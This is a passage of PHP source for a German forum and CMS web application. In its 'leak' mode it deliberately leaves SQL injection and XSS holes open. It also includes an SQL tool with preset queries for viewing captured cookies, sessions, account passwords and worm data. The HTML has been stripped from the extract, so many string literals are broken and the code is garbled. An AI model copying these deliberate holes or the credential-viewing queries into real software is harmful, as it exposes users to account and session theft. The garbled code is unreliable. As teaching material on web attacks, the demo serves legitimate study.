if(preg_match('/^(title|message|userid|mailid|path|status)$/',$k)) $line[$k] = $v; $creolevar = array_merge($creolevar,array('type' => 'forum', 'id' => $line['id'], 'name' => $line['id'], 'title' => $line['title'], 'from' => $line['author'], 'create' => $line['create'], 'change' => $line['change'], 'right' => $line['right'])); $array = array(); foreach($sql['aq']($conn,"select id,username from user") as $v) { $array['user'][] = ""; $array['mail'][] = ""; if($v['id'] == $line['userid']) $line['from'] = $v['username']; if($v['id'] == $line['mailid']) $line['to'] = $v['username']; } $out .= "
    " .((is_null($line['title'])) ? "Ohne Titel" : "".preg_replace(array_keys($smile),array_values($smile),preg_replace($phtml[0],$phtml[1],$line['title']))."")." von " .((!isset($line['from']) or is_null($line['from'])) ? "Unbekannt" : "$line[from]") .((!isset($line['to']) or is_null($line['to'])) ? "" : " an $line[to] [" : "a00000'>un")."gelesen]") ." Bearbeiten (Quelltext)Metainformationen:
    Erstellt: $line[crdatum] / Zuletzt geändert: $line[chdatum] / Änderungen: $line[changes]
    IP: ".strtr($line['uip'],$html)." / Useragent: ".strtr($line['ua'],$html)." / Status: ".((is_null($line['status'])) ? "Gesperrt (Entsperren" : "Normal (Sperren")." | Löschen)" .((is_null($line['path'])) ? "" : " / Reference suchen")."
    " .@preg_replace(array_keys($creole),array_values($creole),strtr($line['message'],array_slice($html,1)))."

    Titel:
    Von:
    An:
    Status:
    Path:
    Nachricht:

    "; } } else $request = ''; } } elseif(preg_match('/Admin|Backup/',$request)) $request = ''; # Content-Management-System if((($request == 'CMS' or isset($_REQUEST['request']) and $_REQUEST['request'] == 'CMS') and $uid) and ($status/2%2 or $status%2 == 1 and $sql['sq']($conn,"select status/2%4 from [cms] where id like '$id' or name like '".$sql['es'](trim($q))."'") == 2)) { if(count($_POST) and !isset($_POST['stop'])) { $post = array('name' => '\w.-', 'content' => '^\x00'); if($status/2%2) $post = array_merge($post,array('description' => '^\n', 'menu' => '\d', 'public' => '\d', 'right' => '\d-', 'id' => '\d', 'create' => '\d', 'change' => '\d')); foreach($post as $key => $var) $post[$key] = (isset($_POST[$key]) and preg_match('/['.$var.']+/',$_POST[$key],$val)) ? strtr($val[0],$html) : false; if(isset($_POST['save']) and $_POST['save'] and isset($_POST['name']) and !preg_match("/^\s*$ncms\s*$/",$_POST['name'])) { if($status/2%2) $var = (int)$post['right']*2 + ((isset($post['menu'])) ? $post['menu'] : 0) + ((isset($post['public'])) ? $post['public']*8 : 0); if($id) $sql['e']($conn," update [cms] set change=datetime('now','localtime'), changes=changes+1,".(($status/2%2) ? " status=$var, name='$post[name]', description=nullif('".$sql['es']($post['description'])."','')," : "")." content=nullif('".$sql['es']($post['content'])."','') where id = $id"); elseif($status/2%2) $sql['e']($conn," insert into [cms] ([create],[change],[status],[name],[description],[content]) values( datetime('now','localtime'),datetime('now','localtime'), $var, '$post[name]', nullif('".$sql['es']($post['description'])."',''), nullif('".$sql['es']($post['content'])."',''))"); $id = $content = true; $request = ($post['name'] != '') ? "$post[name] " : ' '; } elseif(isset($_POST['remove']) and $id and $status/2%2) { $sql['e']($conn,"delete from [cms] where id = $id"); $id = $post = false; } } else $post = false; if(!$id and $q !== false) $id = $sql['sq']($conn,"select id from [cms] where name like '".$sql['es']($q)."'"); if(!$post and $id and $var = $sql['aq']($conn," select id, name, strftime('%s',change) as change, strftime('%s',[create]) as 'create', status%2 as menu, status/8%2 as public, status/2%4 as right, description, content from [cms] where id = $id",SQLITE_ASSOC)) $post = reset($var); elseif(!$post) $post = array('id' => 0, 'name' => '', 'menu' => 0, 'public' => 0, 'right' => -2, 'description' => '', 'content' => '', 'create' => '', 'change' => ''); if(count($_POST) and $post['content'] != '' and $creolevar = array_merge($creolevar,array('type' => 'cms', 'id' => $post['id'], 'name' => $post['name'], 'create' => $post['create'], 'change' => $post['change'], 'name' => $post['name'], 'title' => $post['description'], 'right' => $post['right'], 'from' => $sql['sq']($conn,'select username from user where status/2%2 = 1')))) $out .= "
    ".@preg_replace(array_keys($creole),array_values($creole),strtr($post['content'],array_slice($html,1)))."
    "; if($id or isset($post['id'])) $uedit = "CMS?id=".((isset($post['id'])) ? $post['id'] : $id); if($id === false) { $num = $sql['sq']($conn,"select count(*) from [cms]"); if($page[0] == '') $page = array(1,"page=1"); preg_replace($paging[5],$paging[6],"$num,$max,
    #key#"); if($rows = $sql['aq']($conn," select id, name, [create], change, changes, status%2 as menu, status/8%2 as public, status/2%4 as right, description, strftime('%d.%m.%Y %H:%M:%S',[create]) as erstellt, strftime('%d.%m.%Y %H:%M:%S',change) as modifiziert from [cms]".preg_replace($sorth[2],$sorth[3],"name;9;name")." limit $val,$max")) { $row = array(); foreach($rows as $var) $row[] = "$var[id]Startseite" : "/$var[name]'>$var[name]" )."$var[erstellt]$var[modifiziert]$var[changes]".strtr($var['menu'],array(0 => 'Aus', 1 => 'An'))."".strtr($var['public'],array(0 => 'Aus', 1 => 'An'))."".strtr($var['right'],array(0 => 'Jeder' , 1 => 'Benutzer', 2 => 'Benutzer+', 3 => 'Admin'))."".strtr($var['description'],array_slice($html,1))." "; $out .= "$info[8]
    Übersichtsliste für Content-Management-System".preg_replace($sorth[0],$sorth[1],"ID=1\tSeite=2\tErstellt=3\tZuletzt Geändert=4\tGeändert=5\tMenü=6\tÖffendlich=7\tRechte=8\tBeschreibung=9")."".implode("",$row)."

    $code

    "; } } elseif($id === false) $id = 0; if(isset($_POST['stop'])) { $id = $content = true; $request = ($post['name'] != '') ? $post['name'] : ' '; } if($id !== false and $id !== true) { if($status/2%2) { $array = array(3 => 'Admin (Voll)', 2 => 'Benutzer (Edit)', 1 => 'Benutzer (Lesen)', 0 => 'Jeder (Lesen)'); foreach($array as $key => $var) $array[$key] = ""; } if(isset($_POST['content']) and $_POST['content'] != '') $out .= '
    '; $out .= "
    Content-Management-System (edit)".(($status/2%2) ? "" : "")."
    Seite:
    Beschreibung:
    Optionen:
    0) ? " checked" : "")." /> 0) ? " checked" : "")." />
    Rechte:
    Nachricht:

    ".(($status/2%2) ? " " : "")."
    "; } } } } # Creole-Syntax ausgeben if((preg_match('/Admin|Beitrag|Bearbeiten/',$request) or $request == 'CMS' and (isset($_GET['id']) or isset($_GET['q'])) and !isset($_REQUEST['remove'])) and ($uid or $gast) or $request == 'Creole' and !isset($_REQUEST['nodemo'])) { $creolevar = array_merge($creolevar,array('type' => 'intern')); $val = array("**Fett**","//Kursiv//","++Größer++","--Kleiner--","~~Durchgestrichen~~","__Unterstrichen__", "##Druckschrift##","^^Hoch^^ gestellt",",,Tief,, gestellt","**//__Kombiniert__//**","@@**Fett** ~//Code//@@", "===Überschrift 3","* List\n** Unter\n* Punkt","# List\n## Unter\n# Zahl","; List\n: Info\n;; Rekursiv\n:: Info", "[[[Einfacher\nUmbruch]]]","Um\\\\bruch aus~\\\\setzen","^CMS CreoleLink","http://www.xx","mail@www.xx", "[[http://www.xx|title]]","[[back->http://www.xx]]"," Plaintext","----","{{/favicon.ico|Ikone}}","{{{**//Plain//**}}}", "??key:value?? / ??key??","<>",". <<<_ nix>>> /* nix */","|>\n|=Tabelle|=Titel|\n|Spalte |Zelle |"); foreach($val as $key => $var) $val[$key] = "
    ".strtr($var,array_slice($html,1))."
    ".str_replace("\n",'
    ',@preg_replace(array_keys($creole),array_values($creole),$var)).""; $out = " ".implode('',$val) .(($img) ? "" : "")."
    Forumschreibweise:
    ".@preg_replace(array_keys($creole),array_values($creole), "**Smilie-Codes:**\n
    :D @@~:-D ~;-D ~:D ~;D@@ 8) @@~8-) ~B-) ~8) ~B)@@ 8O @@~8-O ~8-o ~8O ~8o@@ :) @@~:-) ~:)@@ ;) @@~;-) ~;)@@ 8| @@~8-| ~8|@@ ~~ @@~~-~~ ~~@@
    :( @@~:-( ~;-( ~:( ~;(@@ :| @@~:-| ~;-| ~:| ~;|@@ :? @@~:-? ~;-? ~:? ~;?@@ :C @@~:-C ~;-C ~:-c ~;-c ~:C ~;C ~:c ~;c@@ :O @@~:-O ~;-O ~:-o ~;-o ~:o ~;o ~:O ~;O@@ :x @@~:-x ~;-x ~:-X ~;-X ~:x ~;x ~:X ~;X@@
    :P @@~:-P ~;-P ~:-p ~;-p ~:-b ~;-b ~:P ~;P ~:p ~;p ~:b ~;b@@
    ")."
    $out"; } # Creole Demo if($request == 'Creole') if($leak or $uid) { $creolevar['type'] = 'cms'; if(isset($_POST['source'])) $out .= "
    Creole Ansicht:".@preg_replace(array_keys($creole),array_values($creole),strtr(($var = $_POST['source']),array_slice($html,1)))."

    "; else $var = ''; $out .= "
    Creole Livedemo (edit) Quelltext:

    " .((($leak or $status/2%2) and isset($_COOKIE['debug']) and $_COOKIE['debug']) ? " " : "")."
    "; } else $request = 'Impressum'; # Source if(preg_match('/^source(?:\.(txt|html|php\.gz))?$/i',$request,$val)) { if($sql and $q and preg_match('/\d+/',$q,$var) and $line = $sql['aq']($conn," select strftime('%d.%m.%Y %H:%M:%S',f.[create]) as datum, userid, mailid, username, title, message from [forum] as f left join [user] as u on f.userid = u.id where f.id=$var[0]".(($status/2%2) ? '' : " and f.status".(($status%4 == 0) ? "%2 = 0" : " is not null")." and (f.mailid is null or f.mailid = ifnull('$uid',null) or f.mailid is not null and f.userid = ifnull('$uid',null) or f.mailid = f.userid)"),SQLITE_ASSOC)) $out .= "
    ".((is_null($line[0]['title'])) ? "Ohne Titel" : "".strtr($line[0]['title'],array_slice($html,1))."")." von " .((is_null($line[0]['username'])) ? "Unbekannt" : "".$line[0]['username']."") ." vom ".$line[0]['datum']."
    ".strtr($line[0]['message'],array_slice($html,1))."
    "; else { $val[] = ''; $lines = file(__file__); if(isset($_GET['download']) or $val[1] == 'php.gz') { header("Content-Type: application/octet-stream"); header('Content-Disposition: filename="'.basename(__FILE__).'.gz"'); die($gz['encode'](implode('',$lines),9)); } elseif(strtolower($request) == $request and $val[1] != 'html' or $val[1] == 'txt') { header('Content-Type: text/plain; charset=8859-1'); die(implode('',$lines)); } else { foreach($lines as $key => $var) while(false !== $tab = strpos($lines[$key],"\t")) $lines[$key] = substr($lines[$key],0,$tab).str_repeat(' ',8-$tab%8).substr($lines[$key],$tab+1); $out .= "
    ".strtr(highlight_string(implode('',$lines),true),array(' ' => ' ', "\r" => '', "\n" => ''))."
    "; } } } if($sql) { # SQLite-Terminal mit Option auf vorgegegebenen Querys der XSS-Attacken if(($leak and $query or $info[3] != '' or $status/2%2) and $request == 'SQL') { $val = ''; $q = false; if($leak) { $set = (preg_match('/\w+/',$query,$var)) ? $var[0] : ((isset($_POST['preset'])) ? $_POST['preset'] : ''); if($set == "worm") $q = " select * from [worm] order by id desc limit 0,25"; elseif(preg_match('/(cookie|account)/',$set)) $q = " select x.id as ID, i.hits as Hits, strftime('%d.%m.%Y %H:%M:%S',[create]) as 'Datum/Zeit', href as Url,".(($set == 'account') ? " user as Username, pass as Password," : " sess as Session, data as Cookie,")." useragent as UserAgent from [xss] as x inner join ( select max(id) as id, count(*) as hits from [xss]".(($set == 'account') ? "\n\twhere user is not null and pass is not null" : "")." group by ".(($set == 'cookie') ? "sess,data" : "user,pass")." ) as i on i.id = x.id order by x.id desc limit 0,25"; $array = array( 'account' => 'Accountdaten', 'cookie' => 'Cookies und Sessions', 'worm' => 'Daten vom Wurm', 'sqlite' => 'SQLite Mastertabelle'); foreach($array as $key => $var) $array[$key] = ""; $val = ""; } if($status/2%2 or $info[3] != '') { if($leak and $set == 'sqlite') $q = "select * from $sql[m]"; $array = $sql['sq']($conn,"select name from $sql[m] where type = 'table'"); foreach($array as $key => $var) $array[$key] = ""; $val = " $val"; if(!$q and isset($_POST['query']) and $_POST['query'] != "") $q = $_POST['query']; else if(isset($_FILES['file']) and !$_FILES['file']['error'] and file_exists($_FILES['file']['tmp_name'])) $q = implode('',$gz['file']($_FILES['file']['tmp_name'])); if(!$q and isset($_POST['table']) and $_POST['table'] != '') $q = "select * from [".preg_replace('/\W/','',$_POST['table'])."]"; $out = "$info[8]
    SQLite-Query-Tool ($base) Datenbankabfrage

    $val
    "; } if($q) if($result = (isset($_POST['exec']) and ($status/2%2 or $info[3] != '')) ? @$sql['e']($conn,$q) : @$sql['q']($conn,$q)) { if((!is_object($result) and $var = $sql['c']($conn)) or is_object($result) and !$sql['nf']($result) or (is_bool($result) or !$sql['nf']($result))) $out .= "

    Es wurden ".preg_replace('/^0$/','keine',$var)." Einträge geändert!

    "; else { $line = ''; for($a=0;$a<$sql['nf']($result);$a++) $line .= "".strtr($sql['fn']($result,$a),$html).""; $line = array("$line"); while($row = $sql['fa']($result,SQLITE_NUM)) { $var = ''; for($a=0;$aNULL" : (($row[$a] === '') ? " " : preg_replace('/[\r\n]+/','
    ',trim(strtr($row[$a],$html))))).""; $line[] = "$var"; } if(count($line) > 1) $out .= "

    Es befinden sich ".number_format(count($line)-1,0,'','.')." Einträge in der Tabelle!

    ".implode('',$line)."

    "; } } else if(@$sql['le']($conn) != 0) $out .= "

    Abfrage fehlgeschlagen: ".@$sql['ers'](@$sql['le']($conn))."

    "; $out .= "
    SQLite ".$sql['lv']()." ".php_uname()." (PHP ".phpversion()."/".php_sapi_name().") - Charset: ".$sql['lc']()."
    "; } # Forum Formular if($request == 'Beitrag' and ($uid or $gast) and $rw) { if(!$id and isset($_POST['id']) and preg_match('/^\d+$/',$_POST['id'],$var)) $id = $var[0]; if($id and ($var = $sql['aq']($conn," select f.id as id, strftime('%s',f.[create]) as 'create', strftime('%d.%m.%Y %H:%M:%S',f.[create]) as crdatum, strftime('%s',f.change) as change, strftime('%d.%m.%Y %H:%M:%S',f.change) as chdatum, f.changes as changes, f.title as title, f.message as message, f.status, ifnull(f.status%2,'-1') as right, u.status, u.username as username, f.userid as userid, f.mailid as mailid from [forum] as f left join user as u on f.userid = u.id and f.status".(($status%4 == 0) ? "%2 = 0" : " is not null")." and u.status is not null where f.id = $id and (f.mailid is null or f.mailid = nullif('$uid','')) limit 1"))) { $var = reset($var); $creolevar = array_merge($creolevar,array('type' => 'forum', 'id' => $var['id'], 'name' => $var['id'], 'title' => $var['title'], 'create' => $var['create'], 'right' => $var['right'], 'from' => $var['username'])); if(!isset($_POST['message'])) $out .= "
    ($var[id]) " .((is_null($var['title'])) ? "Ohne Titel" : "".preg_replace(array_keys($smile),array_values($smile),strtr($var['title'],array_slice($html,1)))."") ." (Erstellt: $var[crdatum]".(($var['create'] != $var['change']) ? " / Geändert: $var[chdatum]" : '') .(($var['userid'] != $var['mailid']) ? " von ".((is_null($var['username'])) ? "Unbekannt" : "$var[username]") : '') .")".@preg_replace(array_keys($creole),array_values($creole),strtr($var['message'],array_slice($html,1)))."

    "; } else $var = array('id' => ''); $val = preg_replace($phtml[0],$phtml[1],((isset($_POST['title'])) ? $_POST['title'] : ((isset($var['title'])) ? $var['title'] : ""))); $line = preg_replace($phtml[0],$phtml[1],((isset($_POST['message'])) ? $_POST['message'] : ((count($var) > 1 and $var['mailid'] === $var['userid']) ? $var['message'] : ''))); if(isset($_REQUEST['mail'])) $wrt = $_REQUEST['mail']; elseif(isset($var['mailid'])) $wrt = $var['mailid']; else $wrt = false; if(isset($_POST['message'])) $out .= "
    Vorschau: " .((isset($_POST['title']) and $_POST['title'] == '') ? "Ohne Titel" : "".preg_replace(array_keys($smile),array_values($smile),$val)."") ." (".$sql['sq']($conn,"select tagline from user where id = $uid") .")".@preg_replace(array_keys($creole),array_values($creole),strtr($_POST['message'],$html))."

    "; $usr = $sql['aq']($conn," select u.id as id, u.username as username from [user] as u left join [user] as s on u.id = s.id and s.id ".(($uid) ? "= $uid" : "is null")." where u.status is not null order by s.id desc,u.username"); foreach($usr as $k => $v) $usr[$k] = ""; $k = (isset($_REQUEST['mail']) and preg_match('/\d+/',$_REQUEST['mail'],$v) and $k = $sql['aq']($conn,"select username,tagline from [user] where id=$v[0]")) ? array($k[0]['username'],(($leak or is_null($k[0]['tagline'])) ? $k[0]['tagline'] : strtr($k[0]['tagline'],array_slice($html,1)))) : false; $out .= "
    Neuen Beitrag ".(($k) ? "an $k[0] " : "")."verfassen" .(($k and !is_null($k[1])) ? " ($k[1])" : "")." (edit) Titel:

    Nachricht:

    " .(($status%2) ? " " : "") ."
    "; } # Benutzerprofil anzeigen if(preg_match('/(Profil|Bearbeiten)/',$request)) { $var = ($mid) ? $mid : (($id) ? $id : $uid); if((!$lone or $user or $uid) and $var) { if($usr = $sql['aq']($conn," select (select count(*) from [forum] where userid = $var and mailid is null and status".(($status%4 == 0) ? "%2 = 0" : " is not null").") ||','|| (select count(*) from [forum] where userid = $var and mailid is not null and status is not null) ||','|| (select count(*) from [forum] where userid = $var and mailid is not null and status is not null and status/2%2 = 0) ||','|| (select count(*) from [forum] where mailid = $var and userid != $var and status is not null) ||','|| (select count(*) from [forum] where mailid = $var and userid != $var and status is not null and status/2%2 = 0) ||','|| (select count(*) from [forum] where mailid = userid and userid = $var and status".(($status%4 == 0) ? "%2 = 0" : " is not null").") ||','|| (select count(*) from [file] where user=$var and status ".(($status%4 == 0) ? '' : '<')."= 1) ||','|| (select sum(abs(size)) from [file] where user=$var and status is not null) as count, * from [user] as u where ".(($status/2%2) ? "" : "status is not null and ")."id=".((isset($_GET['id']) and $_GET['id']) ? (($leak) ? $_GET['id'] : preg_replace('/\D/','',$_GET['id'])) : (($var) ? $var: $uid)))) { $usr = reset($usr); if(isset($usr['id'])) @$creolevar = array_merge($creolevar,array('type' => 'profil', 'id' => $usr['id'], 'name' => $usr['username'], 'from' => $usr['username'], 'title' => $usr['tagline'], 'create' => strtotime($usr['create']), 'change' => strtotime($usr['change']), 'right' => ((is_null($usr['status'])) ? -1 : ($usr['status']/2%2)))); $v = ""; $k = substr($v,0,-1)." nowrap>"; if(isset($usr['passhelp']) and preg_match('/^(\d+)-(?:(.+):)?(.+)$/',$usr['passhelp'],$val) and isset($pass[$val[1]])) $usr['passhelp'] = array((($val[2] != '') ? $val[2] : $pass[$val[1]]),$val[3]); if(substr_count($usr[0],",") < 6) $usr[0] .= ",0,0,0,0,0,0,0"; $val = explode(',',$usr[0]); // count,mailout,newout,mailin,newin,blog,upload,bytes if(($uid == $var or $status/2%2) and isset($usr['id']) and $usr['id']) { $out .= "
    ".@preg_replace(array_keys($creole),array_values($creole),"--" .preg_replace(array('/^.*\[ |~/s','/ \].*$/s'),array('',' | '),$info[4])."[[^" .((isset($_GET['id'])) ? "Daten".(($status/2%2 and $uid != $usr['id']) ? "?id=$var" : '')."|Daten bearbeiten" : "Profil?id=$var|Meine Daten anzeigen") ."]] | [[^Bearbeiten".(($status/2%2 and $uid != $usr['id']) ? "?id=$var" : '').((count($_POST) == 0)? "#edit" : "")."|Profil bearbeiten]]--")."
    "; if(isset($_GET['id'])) { if($status/2%2 and $uid != $var) { $head['atom'] = ""; $uedit = "Daten?id=$var"; } else $uedit = "Daten"; $out .= "
    ".(($uid == $var) ? "Ihre gespeicherten Daten" : "Die gespeicherten Daten von $usr[username]")."$kBenutzer-ID:$k".number_format($usr['id'],0,'','.')." $kBenutzername:$v$usr[username]$kLogins:$k".number_format($usr['logins'],0,'','.')." $kKennwort:$v".(($usr['password'] == '') ? "Nicht angegeben!" : "")."$kZugriffe:$k".number_format($usr['requests'],0,'','.')." $kVorname:$v$usr[forename]$kÄnderungen:$k".number_format($usr['changes'],0,'','.')." $kNachname:$v$usr[lastname]$kForumbeiträge:$k".number_format(intval($val[0]),0,'','.')." $keMail:$v$usr[mail]$kBlog:$k".number_format($val[5],0,'','.')." $kHomepage:$v".(($usr['page'] == '') ? "Nicht angegeben!" : "$usr[page]")."$kMailverkehr:$k".(($val[4]) ? "".number_format($val[4],0,'','.')." / " : "")."".number_format($val[3],0,'','.')." | ".(($val[2]) ? "".number_format($val[2],0,'','.')." / " : "")."".number_format($val[1],0,'','.')." $kWohnort:$v".(($usr['town'] == '') ? "Nicht angegeben!" : $usr['town'])."$kChat-Texte:$k".$sql['sq']($conn,"select count(*) from [chat] where id = $var")." $kChat-Status:$v".(($usr['chat'] and substr($usr['chat'],0,1) != '-') ? "Im Chat mit: ".((is_array($wrt = $sql['sq']($conn," select ifnull(username,'Unbekannt') from [user] where id != $uid and id != chat and chat = ".strval($usr['chat'])." order by username"))) ? implode(', ',$wrt) : $wrt) : (($status/4%2) ? "Frei" : "Aus")).(($status/8%2) ? " $lock" : '')."$kDateien:$k$val[6] $kSicherheitsfrage:$v".((is_array($usr['passhelp'])) ? $usr['passhelp'][0] : "Nicht angegeben!")."$kDatei-Freiraum:$k".number_format($maxfile-$val[7],0,'','.')." Bytes $kGeheim-Antwort:$v".((is_array($usr['passhelp'])) ? "" : "Nicht angegeben!")."$kStatus:{$v}Log ".(($usr['status']%2) ? 'in' : 'off')." $kGeburtstag:$v".(($usr['born']) ? date('d.m.Y',strtotime($usr['born']))." (".floor((time()-strtotime($usr['born']))/365.2425/24/60/60).")" : "Nicht angegeben!")."$kRechte:$k".(($usr['status']/2%2) ? 'Admin' : ((is_null($usr['status'])) ? 'Keine' : 'Benutzer'))." $kBildschirm:$v".(($usr['info'] == '') ? "Nicht angegeben!" : preg_replace('/(\d+),(\d+),(\d+)/','$1 * $2 / $3',$usr['info']))."$kErstanmeldung:$k".date('d.m.Y H:i:s',strtotime($usr['create']))." $kIP-Adresse:$v$usr[ip]$kLetzter Besuch:$k".((isset($_SESSION['lua']) and $uid == $usr['id']) ? date('d.m.Y H:i:s',strtotime($_SESSION['lua'])) : "Unbekannt")." $kSessionID:$v$usr[session]$kLetzte Aktion:$k".date('d.m.Y H:i:s',strtotime($usr['change']))." $kBrowser:$v$usr[useragent]
    "; } } if(isset($usr['id']) and $usr['id']) { $v = array("Erstanmeldung: ".date('d.m.Y',strtotime($usr['create']))); if($val[0]) $v[] = "Beiträge: ".number_format($val[0],0,'','.').""; if(isset($val[5]) and $val[5]) $v[] = "Blogs: ".number_format($val[5],0,'','.').""; if(isset($val[6]) and $val[6]) $v[] = "Uploads: ".number_format($val[6],0,'','.').""; if($uid or $gast) $v[] = "Mail an $usr[username]"; if($usr['page']) $v[] = "Homepage: ".preg_replace('!^https?://!','',$usr['page']).""; if(!$uedit and ($uid == $usr['id'] or $status%2)) $uedit = "Bearbeiten".(($uid != $usr['id']) ? "?id=$usr[id]" : "")."#edit"; } $out .= "
    Profil von ".(($uid and isset($usr['id']) and $usr['id'] and $var != $uid) ? "$usr[username]" : $usr['username'])."".((!isset($usr['tagline']) or !$usr['tagline']) ? "" : " (".@preg_replace(array_keys($creole),array_values($creole), (($leak and isset($_GET['source']) or !$leak) ? strtr($usr['tagline'],$html) : $usr['tagline'])).")").(($request == 'Bearbeiten') ? " (edit)" : '') ."" .(($leak and isset($usr['id']) and $usr['id'] and ($status/2%2 or isset($_COOKIE['debug']) and $_COOKIE['debug']) and preg_match("!<(script)[^>]*>.*!i",$usr['profil'])) ? "XSS" : '') .((count($v) > 1) ? "
    ".implode(' / ',$v)."

    " : "")."
    " .(($leak and isset($_GET['source'])) ? "
    ".strtr($usr['profil'],$html)."
    " : @preg_replace(array_keys($creole),array_values($creole), strtr(((isset($_POST['profil']) and isset($_POST['test'])) ? $_POST['profil'] : ((is_null($usr['profil'])) ? 'Noch kein Profil hinterlegt!' : $usr['profil'])),(($leak) ? array() : array_slice($html,1)))))."
    "; // XSS } else { $out .= "

    Benutzer nicht gefunden!

    "; $request = 'Mitglieder'; } } else $request = 'Mitglieder'; } # Benutzerprofil Formular if($request == 'Bearbeiten' and $uid and $rw) $out .= "
    " .(($status/2%2 and $uid != $usr['id']) ? "" : '') ."
    Tagline Bearbeiten
    Profil Bearbeiten (edit)
    " .(($status/2%2 or isset($_COOKIE['debug']) and $_COOKIE['debug']) ? " " : "") ."
    "; # Mitglieder if($request == 'Mitglieder' and (!$lone or $user or $uid)) { $data = (($id and $status/2%2) ? "" : "\n\twhere u.status is not null"); $num = $sql['sq']($conn,"select count(*) from [user] as u$data"); if($page[0] == '') $page = array(1,"page=1"); preg_replace($paging[5],$paging[6],"$num,$max,#key#"); if($rows = $sql['aq']($conn," select u.username as username, u.[create], u.change, f.count as count, m.bcount as blogs, m.count as mails, d.count as files, u.status/4%2||','||ifnull(u.chat,'-'), u.status/2%2, u.status%2, u.page as page, u.forename as fore, u.lastname as last, u.ip as ip, u.id as id, u.chat as chat, u.mail as mail, u.status as status, u.useragent as agent, u.tagline as tagline, p.id as profil, s.id as script, strftime('%d.%m.%Y %H:%M',u.[create]) as angemeldet, strftime('%d.%m.%Y %H:%M',u.change) as aktion, f.userid as userid, m.mid as mailid, m.rcount as rcount, d.pcount as pcount, t.tcount as tcount, c.username as chatuser from [user] as u left join ( select userid, count(*) as count from [forum] where status".(($status%4 == 0) ? "%2 = 0" : " is not null")." and mailid is null group by userid) as f on f.userid = u.id left join ( select u.id as mid, count(f.id)-count(b.id) as count, count(b.id) as bcount, count(m.id)-count(r.id) as rcount from [user] as u left join [forum] as f on f.userid = u.id or f.mailid = u.id left join [forum] as r on r.id = f.id and r.mailid = u.id and r.status/2%2 = 1 left join [forum] as m on m.id = f.id and m.mailid = u.id left join [forum] as b on b.id = f.id and b.mailid = u.id and b.mailid = b.userid and b.status".(($status%4 == 0) ? "%2 = 0" : " is not null")." where f.status is not null and f.mailid is not null group by u.id) as m on m.mid = u.id left join ( select a.user, count(*) as count, count(p.id) as pcount from [file] as a left join [file] as p on p.id = a.id and p.status/2%2 = 0 where a.status is not null group by a.user) as d on d.user = u.id left join ( select userid, count(*) as tcount from [forum] as t where path is null and mailid is null and t.status is not null group by userid) as t on t.userid = u.id left join [user] as p on p.id = u.id and p.profil is not null left join [user] as s on s.id = p.id and s.profil like '%%%' left join [user] as c on c.id = u.chat" .$data.preg_replace($sorth[2],$sorth[3],"u.username;13;u.username")." limit $val,$max")) { $row = array(); foreach($rows as $var) $row[] = "" .(((is_null($var['profil']) or $var['profil'] == '') and !$status/2%2) ? "$var[username]" : "".((is_null($var['profil']) or $var['profil'] == '' or !$status/2%2) ? $var['username'] : "$var[username]")."")."$var[angemeldet]$var[aktion]" .((intval($var['count'])) ? (($var['tcount']) ? "$var[tcount]/" : "")."$var[count]" : "-")."".(($var['blogs']) ? "$var[blogs]" : '-')."" .(($status/2%2) ? ((intval($var['mails'])) ? "" .(($var['rcount'] > 0) ? "$var[rcount]/" : "")."$var[mails]" : "-")."" .((intval($var['files'])) ? ((intval($var['pcount'])) ? "$var[pcount]/" : '')."$var[files]" : "-")."" : '').(($status%2) ? (($var['status']/4%2 and is_null($var['chat'])) ? "Frei" : (($var['chat']) ? (($status/2%2) ? "Chat" : "Chat") : "-")) .(($var['status']/8%2 and ($var['chat'] or $var['status']/4%2)) ? " $lock" : '')."" : "") .(($var['status']/2%2) ? 'Admin' : ((is_null($var['status'])) ? '-' : 'Benutzer')) ."".(($var['status']%2) ? (($status/2%2) ? "Log in" : "Log in") : "Log off") ."]*>.*!i",$var['tagline'])) ? " bgcolor='#ffe0e0'" : "").">".(($uid or $gast) ? "Mail " : (($var['page']) ? "" : "-")).(($var['page'] == '') ? "" : "www ") .(($status/2%2) ? "$var[fore] $var[last]$var[ip]" : '') .""; $out .= "
    Mitglieder".preg_replace($sorth[0],$sorth[1],"Benutzername=1\tErstanmeldung=2\tLetzte Aktion=3\tBeiträge=4\tBlogs=5\t(Mails=6)\t(Dateien=7)\t{Chat=8}\tRechte=9\tStatus=10\tKontakt=11\t(Vor-=12 / Nachname=13\tIP-Adresse=14)")."".implode("",$row)."

    $code

    "; } } # Anmelde Formular if(preg_match('/^(Dat|Anmeld)en$/',$request) and ($uid or $user) and $rw) { if($uid) { $array = reset(($sql['aq']($conn,"select * from [user] where id=".(($status/2%2 and isset($_REQUEST['id']) and preg_match('/\d+/',$_REQUEST['id'],$var)) ? $var[0] : $uid),SQLITE_ASSOC))); if($status/2%2) $array['userpass'] = $array['password']; elseif($array['password'] == '') $post['userpass'] = ''; unset($array['password']); if(preg_match('/^(\d+)-(?:(.+):)?(.+)$/',$array['passhelp'],$var)) { if(!$post['question'] = $var[1]) $post['myquestion'] = $var[2]; $post['answer'] = $var[3]; } foreach($array as $key => $var) if(!isset($post[$key]) or strtolower($post[$key]) == strtolower($var)) $post[$key] = $var; } $out .= '
    Persönliche Daten Bitte geben Sie Ihre Daten ein'.((!$uid) ? ', um einen Benutzeraccount zu erstellen' : '').':
    (Alle Felder mit einen * sind Pflichfelder!)
    '.(($status/2%2) ? '' : '').' '.preg_replace($formcheck[0],$formcheck[1],(($uid and $status/2%2 == 0) ? '' : '{username|*Benutzername:|20|64}
    ') .(($uid and $status/2%2 == 0) ? '{userpass|*Altes Kennwort:|*20|64}
    ' : '').'{password,probate|*Kennwort:|*20|64}
    {probate,password|*Kennwort wiederholen:|*20|64}
    {forename|*Vorname:|20|64}
    {lastname|*Nachname:|20|64}
    {mail|*eMail:|20|255}
    Geburtstag: (TT.MM.JJJJ)

    {town|Wohnort:|20|64}
    {page|Homepage:|20|255}
    Persönliche Frage: (Benötigt für Kennwort Vergessen)
    " : "") .(($leak) ? "" : "").'
    {answer|Persönliche Antwort:|20|96}
    '.(($uid or $status/2%2) ? '' : "")).'
    '; if($request == "Anmelden" and $register) $out .= "
    ".@preg_replace(array_keys($creole),array_values($creole),strtr($sql['sq']($conn," select content from cms where name like '$register' limit 1"),array_slice($html,1)))."
    "; } # Kennwort Vergessen Formular if($request == 'Kennwort' and !$uid and $rw) $out .= '
    Kennwort Vergessen Bitte geben Sie Ihre Daten ein, um ihr Kennwort zu löschen!
    (Alle Felder mit einen * sind Pflichfelder!)
    {username|*Benutzername:|20|64|onblur=getask()'.(($leak) ? '|style=width:100%}' : '}
    {mail|*eMail:|20|64|onblur=getask()}') .'
    {forename|*Vorname:|20|64}
    {lastname|*Nachname:|20|64}
